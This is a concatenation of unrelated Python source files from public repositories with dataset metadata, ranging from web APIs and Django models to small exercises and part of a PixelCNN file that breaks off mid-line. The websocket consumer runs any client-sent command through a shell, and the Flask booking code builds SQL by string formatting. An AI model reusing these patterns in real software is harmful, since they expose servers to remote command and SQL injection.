unit_scalar\n","repo_name":"refenv/cijoe","sub_path":"src/cijoe/core/analyser.py","file_name":"analyser.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"21190434999","text":"# execution_stream/consumers.py\n\nimport asyncio\nimport subprocess\nimport json\nfrom channels.generic.websocket import AsyncWebsocketConsumer\n\nclass ExecutionConsumer(AsyncWebsocketConsumer):\n async def connect(self):\n await self.accept()\n\n async def disconnect(self, close_code):\n pass\n\n async def receive(self, text_data):\n data = json.loads(text_data)\n command = data['command']\n\n try:\n process = await asyncio.create_subprocess_shell(\n command,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n while True:\n output = await process.stdout.readline()\n if not output:\n break\n\n await self.send(text_data=json.dumps({'output': output.decode()}))\n except asyncio.CancelledError:\n process.terminate()\n raise\n","repo_name":"ksvijayb/django_channels","sub_path":"execution_stream/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14477835893","text":"from fastapi import FastAPI\r\nfrom pydantic import BaseModel\r\n\r\nfrom models.cliente_model import ClienteIn, ClienteOut\r\nfrom db.clientes_db import cliente\r\nfrom db.clientes_db import get_cliente, update_cliente\r\n\r\nfrom models.reserva_model import ReservaIn, ReservaOut, ReservaInCreate\r\nfrom db.reserva_db import reserva\r\nfrom db.reserva_db import get_reserva, update_reserva\r\n\r\nfrom fastapi import HTTPException\r\n\r\napp = FastAPI()\r\n\r\n##READ CLIENTE\r\n@app.get(\"/cliente/{cliente_id}\")\r\nasync def cliente_get(cliente_id: int):\r\n cliente_in = get_cliente(cliente_id)\r\n if cliente_in == None:\r\n raise HTTPException(status_code=404,\r\n detail= \"El cliente no se encuentra hospedado ni con reserva\")\r\n cliente_out = ClienteOut(**cliente_in.dict())\r\n return cliente_out\r\n\r\n##READ RESERVA\r\n@app.get(\"/reserva/{reserva_id}\")\r\nasync def reserva_get(reserva_id: int):\r\n reserva_in = get_reserva(reserva_id)\r\n if reserva_in == None:\r\n raise HTTPException(status_code=404,\r\n detail= \"La reversa no existe\")\r\n reserva_out = ReservaOut(**reserva_in.dict())\r\n return reserva_out\r\n\r\n##UPDATE CLIENTE\r\n@app.put(\"/cliente/{cliente_id}\")\r\nasync def cliente_update(cliente_id: int, cliente: ClienteIn):\r\n cliente_in = get_cliente(cliente_id)\r\n if cliente_in == None:\r\n raise HTTPException(status_code=404,\r\n detail= \"El cliente no se encuentra hospedado ni con reserva\")\r\n \r\n if cliente_in.hospedado_act == False and cliente.hospedado_act == True:\r\n cliente_in.habitacion = cliente.habitacion\r\n cliente_in.hospedado_act = cliente.hospedado_act\r\n \r\n if cliente_in.hospedado_act == True and cliente.hospedado_act == False:\r\n cliente_in.habitacion = 0\r\n cliente_in.hospedado_act = False\r\n \r\n update_cliente(cliente_in)\r\n cliente_out = ClienteOut(**cliente_in.dict())\r\n return cliente_out\r\n\r\n##UPDATE RESERVA\r\n@app.put(\"/reserva/{reserva_id}\")\r\nasync def reserva_update(reserva_id: int, reserva: ReservaIn):\r\n reserva_in = get_reserva(reserva_id)\r\n if reserva_in == None:\r\n raise HTTPException(status_code=404,\r\n detail= \"La reserva no existe\")\r\n \r\n if reserva_in.adicionales == False and reserva.adicionales == True:\r\n reserva_in.adicionales = reserva.adicionales\r\n reserva_in.precio = reserva_in.precio + reserva.precio_adic\r\n \r\n update_reserva(reserva_in)\r\n reserva_out = ReservaOut(**reserva_in.dict())\r\n return reserva_out\r\n\r\n''' ##CREATE RESERVA\r\n@app.post(\"/reserva/\")\r\nasync def reserva_create(reserva: ReservaInCreate):\r\n return ReservaInCreate '''\r\n","repo_name":"jhonatanf24/ReservaHotel","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25963557641","text":"import logging\n\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils import timezone\nfrom django.db.models import Model, IntegerField, ForeignKey, CharField, BigIntegerField, FloatField, \\\n DateTimeField, BooleanField, CASCADE\nfrom mii_interface.models import Report\n\nlogger = logging.getLogger(__name__)\n\n\nclass Movie(Model):\n title = CharField(max_length=100, db_index=True)\n year = IntegerField(null=True, default=1900, db_index=True)\n imdb_id = CharField(null=True, max_length=15)\n rating = FloatField(null=True)\n folder_path = CharField(max_length=400)\n file_size = BigIntegerField()\n seen = BooleanField(default=None, null=True)\n indexed = BooleanField(default=False)\n\n class Meta:\n index_together = [\n ['year', 'title']\n ]\n ordering = ['title']\n\n @property\n def abs_folder_path(self):\n return self.folder_path.replace(settings.DESTINATION_PLACEHOLDER, settings.DESTINATION_FOLDER)\n\n def save(self, *args, **kwargs):\n if self.folder_path:\n self.folder_path = self.folder_path.replace(settings.DESTINATION_FOLDER, settings.DESTINATION_PLACEHOLDER)\n if self.imdb_id and 't' in self.imdb_id:\n self.imdb_id.replace('t', '')\n return super(Movie, self).save(*args, **kwargs)\n\n\nclass Serie(Model):\n name = CharField(unique=True, max_length=50)\n folder_path = CharField(max_length=400)\n\n class Meta:\n ordering = ['name']\n\n def __unicode__(self):\n return self.name\n \n def save(self, *args, **kwargs):\n if self.folder_path:\n self.folder_path = self.folder_path.replace(settings.DESTINATION_FOLDER, settings.DESTINATION_PLACEHOLDER)\n return super(Serie, self).save(*args, **kwargs)\n\n\nclass Season(Model):\n number = IntegerField()\n serie = ForeignKey(Serie, CASCADE, related_name='seasons')\n folder_path = CharField(max_length=400)\n\n class Meta:\n unique_together = [\n ['number', 'serie']\n ]\n ordering = ('serie__name', 'number')\n\n def __unicode__(self):\n return '%s S%s' % (self.serie.name, self.number)\n\n def save(self, *args, **kwargs):\n if self.folder_path:\n self.folder_path = self.folder_path.replace(settings.DESTINATION_FOLDER, settings.DESTINATION_PLACEHOLDER)\n return super(Season, self).save(*args, **kwargs)\n\nclass Episode(Model):\n number = IntegerField()\n season = ForeignKey(Season, CASCADE, related_name='episodes')\n file_path = CharField(max_length=400)\n file_size = BigIntegerField()\n\n class Meta:\n unique_together = [\n ['number', 'season']\n ]\n ordering = ('season__serie__name', 'season__number', 'number')\n\n def __unicode__(self):\n return '%s S%sE%s' % (self.season.serie.name, self.season.number, self.number)\n\n @property\n def abs_file_path(self):\n try:\n return self.file_path.format(destination_dir=settings.DESTINATION_FOLDER)\n except Exception:\n return self.file_path\n\n def save(self, *args, **kwargs):\n if self.file_path:\n self.file_path = self.file_path.replace(settings.DESTINATION_FOLDER, '{destination_dir}')\n return super(Episode, self).save(*args, **kwargs)\n\n\nclass WhatsNew(Model):\n date = DateTimeField(default=timezone.now)\n name = CharField(unique=True, max_length=70)\n path = CharField(max_length=400)\n\n class Meta:\n ordering = ['date']\n\n def get_displayable_date(self):\n today = timezone.now()\n day_delta = (today - self.date).days\n if day_delta == 0:\n return 'Today'\n elif day_delta == 1:\n return 'Yesterday'\n elif day_delta >= 30:\n return '%s month(s) ago' % (day_delta // 30)\n elif day_delta >= 7:\n return '%s week(s) ago' % (day_delta // 7)\n else:\n return '%s day(s) ago' % day_delta\n\n\nclass RegexRenaming(Model):\n old = CharField(max_length=255)\n new = CharField(max_length=255)\n\n\nclass SpecialHandling(Model):\n regex = CharField(max_length=255)\n name = CharField(max_length=255)\n\n\ndef get_serie_episode(name, season, episode):\n \"\"\"\n Look for the same episode in the db, return the file_path of the existing one if any.\n :param string name: string\n :param int season: integer\n :param int episode: integer\n :return tuple: Tuple containing the path is serie is found (Boolean, String)\n \"\"\"\n try:\n logger.info(u'Querying serie table with name=%s, season=%s and episode=%s' % (name, season, episode))\n episode = Episode.objects.get(season__number=season, number=episode, season__serie__name=name)\n if episode:\n return True, episode\n except ObjectDoesNotExist as e:\n logger.info(u'Found nothing %s' % repr(e))\n return False, None\n\n\ndef get_serie_season(name, season):\n \"\"\"\n Look for the same season in the db, returns a boolean\n :param string name: string\n :param season: Season number in str or int\n :return bool:\n \"\"\"\n try:\n logger.info(u'Querying serie table with name=%s and season=%s' % (name, season))\n season = Season.objects.get(number=season, serie__name=name)\n if season:\n return True\n except ObjectDoesNotExist as e:\n logger.info(u'Found nothing %s' % repr(e))\n return False\n\n\ndef insert_serie_episode(serie_name, serie_season, episode_number, serie_path, size):\n \"\"\"\n Insert a serie into the sql database following Serie model.\n :param string serie_name: Name of the serie\n :param int serie_season: Season number\n :param int episode_number: Episode number\n :param string serie_path: Path of the file\n :rtype Episode: Episode of the serie\n \"\"\"\n\n serie, created = Serie.objects.get_or_create(name=serie_name)\n\n season, created = Season.objects.get_or_create(number=serie_season, serie=serie)\n\n episode, created = Episode.objects.get_or_create(number=episode_number, season=season, file_path=serie_path,\n file_size=size)\n\n # Add the serie to the what's new folder\n wn, created = WhatsNew.objects.get_or_create(\n name='%s S%sE%s' % (serie_name, serie_season, episode_number),\n date=timezone.now(),\n path=serie_path)\n return episode\n\n\ndef get_movie(title, year=None):\n \"\"\"\n Look for the same movie in the db, return the file_path of the existing one if any.\n :param string title: string\n :param int year: integer\n :return tuple: Tuple containing the path is movie is found (Boolean, String)\n :rtype (bool, Movie):\n \"\"\"\n try:\n logger.info(u'Querying movie table with name=%s and year=%s' % (title, year))\n if year:\n movie = Movie.objects.get(title=title, year=year)\n else:\n movie = Movie.objects.get(title=title)\n logger.info(u'Found movie')\n return True, movie\n except ObjectDoesNotExist as e:\n logger.info(u'Found nothing %s' % repr(e))\n return False, None\n\n\ndef insert_movie(title, year, path, size):\n \"\"\"\n Insert a movie into the sql database following Movie model.\n :param string title: Title of the movie\n :param int year: Year of the movie\n :param string path: Path of the movie file\n :return Movie: Movie instance to be modified with additional data\n :rtype Movie: Movie type\n \"\"\"\n movie, created = Movie.objects.get_or_create(title=title, year=year, folder_path=path, file_size=size)\n\n # Add the movie to the what's new folder\n wn, created = WhatsNew.objects.get_or_create(name='%s (%s)' % (title, year), date=timezone.now(), path=path)\n return movie\n\n\ndef insert_report(report_html, report_type=''):\n Report.objects.create(report_type=report_type, report_html=report_html)\n\n\ndef update_whatsnew(movie):\n WhatsNew.objects.update_or_create(name='%s (%s)' % (movie.title, movie.year), defaults={'date': timezone.now(), 'path': movie.abs_folder_path})\n","repo_name":"MiiRaGe/miilibrary","sub_path":"mii_sorter/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21968754311","text":"# Faça um programa que leia um ano qualquer e mostre se ele é BISSEXTO.\nfrom datetime import date\nano = int(input('Digite um ano qualquer. Digite 0 para analisar o ano atual: '))\n#Se o resto da divisão do ano por 4 for zero, se o resto da divisão por 100 for diferente de zero e se o resto da divisão por 400 for zero\nif ano == 0:\n ano = date.today().year #seleciona a data do computador\nif ano % 4 == 0 and ano % 100 != 0 or ano % 400 == 0:\n print('O ano de {} é um ano bissexto!'.format(ano))\nelse:\n print('O ano de {} NÃO é um ano bissexto!'.format(ano))\n","repo_name":"renanrodm/exerciciospythoncev","sub_path":"ex032.py","file_name":"ex032.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32102831566","text":"from flask import *\nfrom database import *\n\nuser=Blueprint('user',__name__)\n\n@user.route('/userhome')\ndef userhome():\n return render_template('userhome.html')\n\n@user.route('/user_view_type')\ndef user_view_type():\n data={}\n q=\"SELECT * FROM amenity_type\"\n data['res']=select(q)\n return render_template('user_view_types.html',data=data)\n\n@user.route('/user_view_internal')\ndef user_view_internal():\n data={}\n q=\"SELECT * FROM amenity_type INNER JOIN `amenites` USING(`amenity_type_id`) WHERE type_name='Internally'\"\n data['res']=select(q)\n return render_template('user_view_internal.html',data=data)\n\n@user.route('/user_view_external')\ndef user_view_external():\n data={}\n q=\"SELECT * FROM amenity_type INNER JOIN `amenites` USING(`amenity_type_id`) WHERE type_name='Externally'\"\n data['res']=select(q)\n return render_template('user_view_external.html',data=data)\n\n@user.route('/user_view_other')\ndef user_view_other():\n data={}\n q=\"SELECT * FROM amenity_type INNER JOIN `amenites` USING(`amenity_type_id`) WHERE type_name='Others'\"\n data['res']=select(q)\n return render_template('user_view_other.html',data=data)\n\n@user.route('/user_view_dept')\ndef user_view_dept():\n data={}\n q=\"SELECT * FROM department INNER JOIN `principal` USING(`principal_id`)\"\n data['res']=select(q)\n return render_template('user_view_dept.html',data=data)\n\n@user.route('/user_view_class')\ndef user_view_class():\n data={}\n q=\"SELECT * FROM department INNER JOIN `class` USING(`department_id`)\"\n data['res']=select(q)\n return render_template('user_view_class.html',data=data)\n\n@user.route('/user_view_bookings')\ndef user_view_bookings():\n data={}\n q=\"SELECT * FROM `user`,`bookings`,`amenites`,amenity_type WHERE `user`.`user_id`=`bookings`.`user_id` AND `bookings`.`amenity_id`=`amenites`.`amenity_id` and `amenites`.`amenity_type_id`=`amenity_type`.`amenity_type_id`\"\n data['res']=select(q)\n return render_template('user_view_mybookings.html',data=data)\n\n\n@user.route('/user_book_external',methods=['get','post'])\ndef user_book_external():\n data={}\n from datetime import date\n\n # Returns the current local date\n today = date.today()\n bid=request.args['bid']\n # name=request.args['name']\n ty=request.args['ty']\n\n if 'btn' in request.form:\n fdate=request.form['fdate']\n time=request.form['time']\n purpose=request.form['purpose']\n \n q=\"insert into bookings values (NULL,'%s','%s','%s','%s','%s','%s',curdate(),'pending')\"%(session['uid'],bid,ty,fdate,time,purpose)\n id=insert(q)\n \n flash(\"Booking Completedd successfully\")\n return redirect(url_for(\"user.userhome\"))\n return render_template(\"user_book_external.html\",data=data,today=today)\n","repo_name":"sankar-666/python---College-Amenities","sub_path":"user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13398110250","text":"dspin_cmd_flit_size = 39\ndspin_rsp_flit_size = 32\ncell_size = 4\n\ntodo = Platform('caba', 'top.cpp',\n uses = [\n Uses('caba:vci_cc_vcache_wrapper',\n dspin_in_width = dspin_cmd_flit_size,\n dspin_out_width = dspin_rsp_flit_size,\n iss_t = 'common:mips32el'),\n Uses('caba:vci_cc_vcache_wrapper',\n dspin_in_width = dspin_cmd_flit_size,\n dspin_out_width = dspin_rsp_flit_size,\n iss_t = 'common:gdb_iss',\n gdb_iss_t = 'common:mips32el'),\n Uses('caba:vci_simple_ram'),\n Uses('caba:vci_simple_ram', cell_size = 8),\n Uses('caba:vci_xicu'),\n Uses('caba:vci_multi_tty'),\n Uses('caba:vci_block_device_tsar'),\n Uses('caba:vci_framebuffer'),\n Uses('caba:vci_mem_cache',\n memc_cell_size_int = cell_size,\n memc_cell_size_ext = 8,\n memc_dspin_out_width = dspin_cmd_flit_size,\n memc_dspin_in_width = dspin_rsp_flit_size,\n ),\n Uses('caba:dspin_local_crossbar',\n flit_width = dspin_cmd_flit_size),\n Uses('caba:dspin_local_crossbar',\n flit_width = dspin_rsp_flit_size),\n Uses('caba:vci_local_crossbar',\n cell_size = cell_size),\n Uses('common:elf_file_loader'),\n ],\n cell_size = cell_size,\n plen_size = 8,\n addr_size = 40,\n rerror_size = 1,\n clen_size = 1,\n rflag_size = 1,\n srcid_size = 14,\n pktid_size = 4,\n trdid_size = 4,\n wrplen_size = 1\n )\n\n","repo_name":"walafc0/tsar","sub_path":"platforms/linux_monocluster/desc.py","file_name":"desc.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20466816852","text":"import rdflib\r\nimport time\r\nt = time.time()\r\n\r\nfrom rdflib.namespace import DCTERMS\r\nJITIS = rdflib.Namespace(\"http://hkwi.github.com/denshijiti/terms#\")\r\nIC = rdflib.Namespace(\"http://imi.ipa.go.jp/ns/core/rdf#\")\r\n\r\njiti = rdflib.Graph()\r\njiti.load(\"https://hkwi.github.io/denshijiti/code.ttl\", format=\"turtle\")\r\n\r\ncs, = next(iter(jiti.query('''\r\nPREFIX jitis: \r\nPREFIX dcterms: \r\n\r\nSELECT ?cs WHERE {\r\n ?cs a jitis:CodeSet ;\r\n dcterms:issued ?d .\r\n}\r\nORDER BY DESC(?d) LIMIT 1\r\n''')))\r\n\r\ninfo = []\r\nfor s in jiti.objects(cs, DCTERMS.hasPart):\r\n\tcode = jiti.value(s, JITIS[\"code\"])\r\n\tif code[2:5]==\"000\":\r\n\t\tcontinue\r\n\t\r\n\tret = dict(code=code)\r\n\tfor k,k2 in zip((\"ken\",\"si\",\"ku\"),(\"都道府県\", \"市区町村\", \"区\")):\r\n\t\to = jiti.value(s, IC[k2])\r\n\t\tif o:\r\n\t\t\tret[k] = o\r\n\tinfo.append(ret)\r\n\r\n","repo_name":"hkwi/lgjp_web","sub_path":"lgjp_web/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"14221212590","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 7 19:39:00 2019\n\n@author: bindas\n\"\"\"\nimport itertools\nimport random\n\ndef isbigger(a, b):\n if numbers_dict[a[1]]>numbers_dict[b[1]]:\n return True\n elif numbers_dict[a[1]]==numbers_dict[b[1]]:\n return colors_dict[a[0]] > colors_dict[b[0]]\n else:\n return False\n\ncolors = ['S','H','D','C']\nnumbers = ['2','3','4','5','6','7','8','9','10', 'Jack', 'Queen', 'King', 'Ace']\ncolors_dict = {'S':1,'H':2,'D':3,'C':4}\nnumbers_dict = {'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9,'10':10, 'Jack':11, 'Queen':12, 'King':13, 'Ace':14}\n\ncards = [card for card in itertools.product(colors, numbers)]\nrandom.shuffle(cards)\nprint(\"Before sorting\")\nprint(cards[:10])\n\ndeck = len(cards)\nfor i in range(deck):\n max_ind = 0;\n for j in range(deck-i):\n if isbigger(cards[j], cards[max_ind]):\n max_ind = j\n cards[j], cards[max_ind] = cards[max_ind], cards[j]\n \nprint(\"After sorting\")\nprint(cards[:10])\n\n ","repo_name":"bindas1/Data-Structures-and-Algorithms","sub_path":"homework/cards.py","file_name":"cards.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33526444131","text":"for _ in range(int(input())):\n N = int(input())\n A = list(map(int, input().split()))\n Gp = Gn = 0\n for i in A:\n if i < 0:\n Gn += 1 \n else:\n Gp += 1 \n if not Gn:\n print(Gp,Gp)\n elif not Gp:\n print(Gn, Gn)\n else:\n print(max(Gn,Gp), min(Gn,Gp))\n","repo_name":"Sanket-Mathur/CodeChef-Practice","sub_path":"CHNUM.py","file_name":"CHNUM.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34051330475","text":"##Rishi Patel \n##python_recipe\n\n\n\n####Libraries used\n#webdriver is the basic import that you need in order to do anything in a specific browser in selenium\n#By is an import for the find_element(by=By.CLASS_NAME, value=\"value\") function - it's just a rule, idk why. \n#time is imported for a sleep function to keep the execution of commands sychronized with the browser \n\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\n#including path to the chromedriver webdriver - needed to enable automated browser control\nPATH = (\"/Applications/chromedriver\")\n\n#instantiating the webdriver object and specifying chrome browser and subsequently linking path to executable \nbrowser = webdriver.Chrome(PATH)\n\n#opens web browser on screen and goes to URL \nbrowser.get(\"https://tasty.co/article/melissaharrison/easy-dinner-recipes\")\n\n#we want to just grab the tag that has the href to the recipe, but because the class is not uniquely named\n#and there is no other attirbute as part of our desired tag we are going to grab the div that is our tags parent\ndescriptions = browser.find_elements(by=By.CLASS_NAME, value=\"subbuzz__description\")\n\n#creating a list to store all of our hrefs in in\nhrefs = []\n\n\n#here we wil construct a for loop that iterates through all of the elements with the class name \"subbuzz__description\"\n#and we will extract the href for each one and store it in a separate list that we will print out at the end of the script\nfor description in descriptions: \n a_tag = description.find_element(by=By.CLASS_NAME, value=\"js-skimlink-subtag-modified\")\n hrefs.append(a_tag.get_attribute(\"href\"))\n\n#here we will extract specifically the tag from within the parent div we just extracted \n#a_tag = descriptions.find_element(by=By.CLASS_NAME, value=\"js-skimlink-subtag-modified\")\n\n#now that we have the tag element stored in a_tag we use get_attribute to get the specific value of the href attribute of the html element \n#href = a_tag.get_attribute(\"href\")\n\n#now we print the results \nprint(*hrefs, sep='\\n')\n\n#a timed wait function\ntime.sleep(2)\n\n#closing the browser window\nbrowser.quit()\n\n","repo_name":"Rishi-patel2/Daily-meal-suggestion-app","sub_path":"selenium_test.py","file_name":"selenium_test.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30614893134","text":"# You have to reverse a list by the following ways...\n# 1: Inbuilt method of python.\n# 2: list_name[::-1] slicing trick\n# 3: Swapping first element with last one and second element with second last\n# one and so on..\n\n# OUTPUT\n# [1,3,4,3]\n# [1,3,4,3]\n# [1,3,4,3]\n# all the three methods give same results...\n\nfood = []\nprint(\"Enter the elements of list and for quitting enter q\")\nwhile True:\n element = input()\n if element == \"q\":\n break\n food.append(element)\n\ndef food_printer(func):\n def mixer():\n print(f\"Before {food}\")\n func()\n print(f\"After {food}\")\n return mixer()\n\n@food_printer\ndef food_reverse_by_inbuilt_module(list):\n list.reverse()\n\n@food_printer\ndef food_reverse_by_slicing(list):\n list[::-1]\n \n# First using inbuilt method..\nfood_reverse_by_inbuilt_module(food)\n\n# by slicing trick..\nfood_reverse_by_slicing(food)\n\n# Exchanging first elements with respect to their last one...\n\n ","repo_name":"AnantLuthra/Python-practice-problems","sub_path":"food_and_calories.py","file_name":"food_and_calories.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10421358935","text":"import sys, ftd2xx as ftd\nimport time\nd = ftd.open(0) # Open first FTDI device\nprint(d.getDeviceInfo())\n\nOP = 0x01 # Bit mask for output D0\nd.setBitMode(OP, 1) # Set pin as output, and async bitbang mode\nd.write(str(OP)) # Set output high\ntime.sleep(1)\nd.write(str(0)) # Set output low","repo_name":"addattachment/python","sub_path":"EEG/sync_signal.py","file_name":"sync_signal.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35364074682","text":"import json\nimport boto3\nimport base64\nimport os\nimport uuid\n\nanimal_adoption_table= os.environ['HUSKY_SHELTERS_TABLE']\ndynamodb = boto3.resource('dynamodb')\ntable = dynamodb.Table(animal_adoption_table)\ns3 = boto3.client('s3')\nbucketName = os.environ['HUSKY_SHELTERS_BUCKET']\n\ndef uploadImages(arrayPictures,pet_id,arrayPictureNames):\n a = 0\n # uris=[]\n for picture in arrayPictures:\n name = \"images/\"+ pet_id+ \"/\" + arrayPictureNames[a] +\".jpg\"\n decodeImg = base64.b64decode(picture)\n s3.put_object(Bucket=bucketName,Key=name,Body=decodeImg)\n # location = s3.get_bucket_location(Bucket=bucketName)['LocationConstraint']\n # objectUrl = \"https://%s.s3-%s.amazonaws.com/%s\" % (bucketName,location, name)\n # uris.append(objectUrl)\n # print(\"This is the url in s3:\",objectUrl)\n a = a + 1\n # return uris\n \ndef updateInfo(pk,sk,health,age,locationPet):\n response = table.update_item(\n Key={\n 'PK':pk,\n 'SK':sk\n },\n UpdateExpression=\"set Age=:a,HealthStatus=:h,LocationPet=:l\",\n ExpressionAttributeValues={\n ':a': age,\n ':h': health,\n ':l': locationPet\n },\n ReturnValues=\"UPDATED_NEW\"\n )\n return response\ndef updatePet(event, context):\n message=\"\"\n path = event[\"path\"]\n array_path = path.split(\"/\")\n sk=event[\"queryStringParameters\"][\"SK\"]\n pet_id =array_path[-1]\n bodyObject = json.loads(event[\"body\"])\n health_status = bodyObject[\"HealthStatus\"]\n locationPet = bodyObject[\"LocationPet\"]\n age = bodyObject[\"Age\"]\n\n if bodyObject[\"Pictures\"]:\n # updateUris = uploadImages(bodyObject[\"pictures\"], pet_id)\n uploadImages(bodyObject[\"Pictures\"], pet_id, bodyObject[\"PictureNames\"])\n updateInfo(pet_id,sk,health_status,age,locationPet)\n return {\n 'statusCode': 200,\n 'body': json.dumps(\"updated movie succeded\")\n }\ndef deleteImage(event,context):\n message=\"\"\n path = event[\"path\"]\n array_path = path.split(\"/\")\n imageName=event[\"queryStringParameters\"][\"imageName\"]\n pet_id =array_path[-1]\n path = \"images/\" + pet_id +\"/\" + imageName + \".jpg\"\n s3.delete_object(\n Bucket=bucketName,\n Key=path)\n table.delete_item(\n Key={\n 'PK': pet_id,\n 'SK': 'image_' + imageName + \".jpg\"\n }\n )\n return {\n 'statusCode': 200,\n 'body': json.dumps(\"Image Deleted\")\n }","repo_name":"JaVillarroell/huskyShelters","sub_path":"src/pet.py","file_name":"pet.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40666051234","text":"# variable number of arguments can be passed\ndef avg(*numbers):\n if numbers:\n return sum(numbers)/len(numbers)\n\n\n\ndef guestList(*guestname):\n print(\"these are the guests for the event!!\")\n for name in guestname:\n print('!!!',name,'!!!')\n \nif __name__ == \"__main__\":\n a = avg(12,3,54,8,33,2,1,7,9)\n b = avg()#error because no arguments passsed\n c = avg(12,13,11)\n print(a)\n guestList('raju','shaka','rohan','dev','devi')\n\n","repo_name":"bhawnachaudhary/Python-DataScience","sub_path":"Functions/Variable_Arguments.py","file_name":"Variable_Arguments.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39145273639","text":"#Faça um programa que leia três números e mostre qual é o maior e qual é o menor.\r\n\r\nprint('Três números... ')\r\nnum1 = int(input('Digite o primeiro número: '))\r\nnum2 = int(input('Digite o segundo número: '))\r\nnum3 = int(input('Digite o terceiro número: '))\r\n\r\n# Menor número:\r\nif num1 < num2 and num1 < num3 :\r\n menor = num1\r\n\r\nif num2 < num1 and num2 < num3 :\r\n menor = num2\r\n\r\nif num3 < num2 and num3 < num1 :\r\n menor = num3\r\n\r\n# Maior número\r\nif num1 > num2 and num1 > num3 :\r\n maior = num1\r\n\r\nif num2 > num1 and num2 > num3 :\r\n maior = num2\r\n\r\nif num3 > num2 and num3 > num1 :\r\n maior = num3\r\n\r\nprint('Maior número: {} e Menor número: {}'.format(maior, menor))","repo_name":"luciahelenasalvi/Curso_Python","sub_path":"Python_Mundo_01/desafio_033.py","file_name":"desafio_033.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31193676684","text":"from utils import *\nimport pdb\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch.nn.utils import weight_norm as wn\nimport numpy as np\n\nclass nin(nn.Module): # Nawid- Network in network - additional gated ResNet blocks with 1x1 convolution between regular convolution blocks that grow receptive field\n def __init__(self, dim_in, dim_out):\n super(nin, self).__init__()\n self.lin_a = wn(nn.Linear(dim_in, dim_out))# Nawid -Weight normalisation of a linear unit and the performs the linear transformation where the output dimension is dim_out\n self.dim_out = dim_out # Nawid - Output dimension\n\n def forward(self, x): # Nawid - Overall this is used to change the number of chanels with a linear transformation I believe\n og_x = x\n # assumes pytorch ordering\n \"\"\" a network in network layer (1x1 CONV) \"\"\"\n # TODO : try with original ordering\n x = x.permute(0, 2, 3, 1) # Nawid - Change the ordering of layers\n shp = [int(y) for y in x.size()] # Nawid - Obtains the shape\n out = self.lin_a(x.contiguous().view(shp[0]*shp[1]*shp[2], shp[3])) # Nawid - Performs a linear layer where shp[0]*shp[1]* shp[2] is the number of examples and shp[3] is the dimension which is being transformed\n shp[-1] = self.dim_out # Nawid - Changes last dimension to the output dimension\n out = out.view(shp) # Nawid - Change the shape of the output\n return out.permute(0, 3, 1, 2) # Nawid -Change the ordering of layers - II believe it changes it to batch size, channels\n\n\nclass down_shifted_conv2d(nn.Module):\n def __init__(self, num_filters_in, num_filters_out, filter_size=(2,3), stride=(1,1),\n shift_output_down=False, norm='weight_norm'):\n super(down_shifted_conv2d, self).__init__() # Nawid - Padding seems to agree with TF version of official implementation\n\n assert norm in [None, 'batch_norm', 'weight_norm']\n self.conv = nn.Conv2d(num_filters_in, num_filters_out, filter_size, stride) # Nawid - Convolution object\n self.shift_output_down = shift_output_down\n self.norm = norm\n self.pad = nn.ZeroPad2d((int((filter_size[1] - 1) / 2), # pad left\n int((filter_size[1] - 1) / 2), # pad right\n filter_size[0] - 1, # pad top\n 0) ) # pad down\n\n if norm == 'weight_norm':\n self.conv == wn(self.conv) # Nawid- Normalise the convolution object\n elif norm == 'batch_norm':\n self.bn = nn.BatchNorm2d(num_filters_out)\n\n if shift_output_down : # Nawid - If shift output down, then the x is shifted downwards which is performed by down_shift method in the utils and x is given certain padding\n self.down_shift = lambda x : down_shift(x, pad=nn.ZeroPad2d((0, 0, 1, 0)))\n\n def forward(self, x):\n x = self.pad(x) # Nawid- Pads the image\n x = self.conv(x) # Nawid- Performs convolution\n x = self.bn(x) if self.norm == 'batch_norm' else x # Nawid - 